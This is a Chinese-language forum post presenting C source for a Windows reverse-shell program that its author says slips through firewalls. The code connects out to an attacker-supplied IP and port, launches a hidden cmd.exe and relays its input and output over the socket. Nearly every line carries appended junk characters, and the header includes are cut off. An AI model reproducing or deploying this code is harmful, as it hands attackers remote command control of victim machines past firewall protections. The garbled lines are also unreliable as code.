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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 >oi`%V  
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/* ============================== 22S4q`j  
Rebound port in Windows NT }I<r=?  
By wind,2006/7 9X&Xc  
===============================*/ &1Dq3%$c  
#include @ qWgokf  
#include r# MJ  
tr0P ;}=  
#pragma comment(lib,"wsock32.lib") BYuF$[3ya&  
4d3]L` f  
void OutputShell(); nsFOtOdd  
SOCKET sClient; 0FmYM@Wc  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 3Z#k9c_b  
9 lE[oAC  
void main(int argc,char **argv) lR[[]Yn  
{ ($EA/|z  
WSADATA stWsaData; ei)ljvvmHP  
int nRet; DdDO.@-Z  
SOCKADDR_IN stSaiClient,stSaiServer; [2I1W1pd  
%Cbqi.iuQ  
if(argc != 3) TUoEk  
{ x!GHUz*:uz  
printf("Useage:\n\rRebound DestIP DestPort\n"); ,>lOmyh  
return; c}GmS@  
} ||3%REliC  
8o43J;mA  
WSAStartup(MAKEWORD(2,2),&stWsaData); i356m9j  
%D_2;  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]w z`j1  
]V*s-och'  
stSaiClient.sin_family = AF_INET; rZ`ob x\S  
stSaiClient.sin_port = htons(0); _$%.F| :  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); umZy=KHj  
vgY ) L  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9TRS#iVL+*  
{ l"^'uGB'  
printf("Bind Socket Failed!\n"); S]&f+g}&w  
return; ^=:e9i3u  
} 7(cRm$)L  
94 58.!3  
stSaiServer.sin_family = AF_INET; Z5 iP1/&D  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); c,nE@~ul2  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);  tKOTQ8i4  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Nn<TPT[,  
{ o1C1F}gxU  
printf("Connect Error!"); \d$fi*{  
return; B1)gudP`  
} C(-wA  
OutputShell(); n{sF'n</  
} Vb^P{F  
 uYVlF@]  
void OutputShell() qv\n]M_&  
{ Er/h:=  
char szBuff[1024]; B].V|8h  
SECURITY_ATTRIBUTES stSecurityAttributes; nmI os]B  
OSVERSIONINFO stOsversionInfo; o2M+=O@  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ~ 8L]!OQ9=  
STARTUPINFO stStartupInfo; T DOOq;+  
char *szShell; k4:$LFw@  
PROCESS_INFORMATION stProcessInformation; (jb9Uk_t  
unsigned long lBytesRead; D5lzrpg_e  
dqF]kP,VG  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); IoO tn  
BfZAK0+*$  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); n;&08M5an}  
stSecurityAttributes.lpSecurityDescriptor = 0; EB R,j_  
stSecurityAttributes.bInheritHandle = TRUE; ]}7FTMGbY  
ipzv]c&  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); x!5b" "  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ; kPx@C   
SOE 5`  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); k1Z"Qmz  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f_A'.oq+  
stStartupInfo.wShowWindow = SW_HIDE; }AfX0[!O  
stStartupInfo.hStdInput = hReadPipe; qw^kA?  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; cGF_|1`  
wEd+Ds]$  
GetVersionEx(&stOsversionInfo); sG-$d\ 1d  
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switch(stOsversionInfo.dwPlatformId) L#U-d zy\  
{ UuXq+HYR  
case 1: P?|F+RoX$  
szShell = "command.com"; h r@c7/L  
break; )~W 35  
default: ^`M,ju  
szShell = "cmd.exe"; 2J?ON|2M  
break; pJ8;7u  
} U\OfB'Dn  
TCShS}q;%  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); %L;z~C  
',Y`XP"Q  
send(sClient,szMsg,77,0); l Tpn/  
while(1) O3ij/8f  
{ ivTx6-]  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); wJ.?u]f@  
if(lBytesRead) K]c|v i_D  
{ scr`] tD  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); pXn(#n<  
send(sClient,szBuff,lBytesRead,0); %[3?vX  
} HC1jN8WDY  
else Ot,_=PP  
{ R=Qa54  
lBytesRead=recv(sClient,szBuff,1024,0); nsf.wHGZ"J  
if(lBytesRead<=0) break; 4pU|BL\j  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); :+?eF^ 5  
} m@(8-_  
} |#OMrP+oi  
sA^_I6>M"  
return; iakqCjV  
}
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